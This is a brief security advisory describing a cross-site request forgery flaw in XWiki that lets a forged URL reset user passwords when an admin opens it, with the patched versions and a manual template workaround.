Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). It is possible to forge an URL that will reset the password of any user in XWiki when the URL is accessed by an admin. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the register_macros.vm
template.
